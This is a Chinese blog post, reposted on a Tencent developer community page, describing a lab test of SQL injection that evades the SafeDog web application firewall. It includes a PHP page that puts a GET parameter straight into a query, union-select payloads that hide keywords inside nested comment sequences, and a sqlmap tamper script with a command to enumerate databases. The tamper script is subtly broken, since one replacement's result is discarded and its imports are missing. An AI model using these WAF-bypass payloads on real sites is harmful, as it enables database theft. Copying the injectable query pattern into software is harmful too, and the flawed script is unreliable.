某狗注入bypass

1.前言

最近看到不少过WAF的文章,想自己也过一次最新版WAF,先从某狗入手。

2.测试环境

xp虚拟机+phpstudy+某狗最新版

3.编写注入点

$id=$_GET['id'];

$sql="SELECT id,username,password FROM users WHERE id=$id LIMIT 0,1";

echo "

";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

3.bypass测试

a.将空格替换成/*/*!*//**//*!*/ and/*/*!*//**//*!*/1=1 不拦截

b.id=-1 union/*/*!*//**//*!*/select 1,2,3 不拦截

c.id=-1 union/*/*!*//**//*!*/select 1,user(),3 拦截

d.id=-1 union/*/*!*//**//*!*/select 1,user/*/*!*//**//*!*/(),3 不拦截,并获取到数据

4.总结

1.某狗对特殊字符格式的注释未能正确识别,因此可以在关键字中间添加/*/*!*//**//*!*/ 来过某狗的检测;

2.mysql关键字中是不能插入/**/的,se/**/lect会报错,但是函数名和括号之间是可以加上/**/的,类似user/**/()这样的代码可以在mysql数据库中执行。

5.sqlmap --tamper编写

dog.py

#!/usr/bin/env

__priority__ = PRIORITY.LOWEST

def dependencies():

pass

def tamper(payload, **kwargs):

payload = payload.replace(" ", "/*/*!*//**//*!*/")

payload.replace("()","/*/*!*//**//*!*/()")

return payload

sqlmap注入:python sqlmap.py -u "http://192.168.63.129/connect.php?id=" --tamper dog.py -v 3 --random-agent --dbs

注:安全狗需关闭CC防御功能

如需转载请标明湖南网信测评

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180406G0LS3I00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码关注腾讯云开发者

领取腾讯云代金券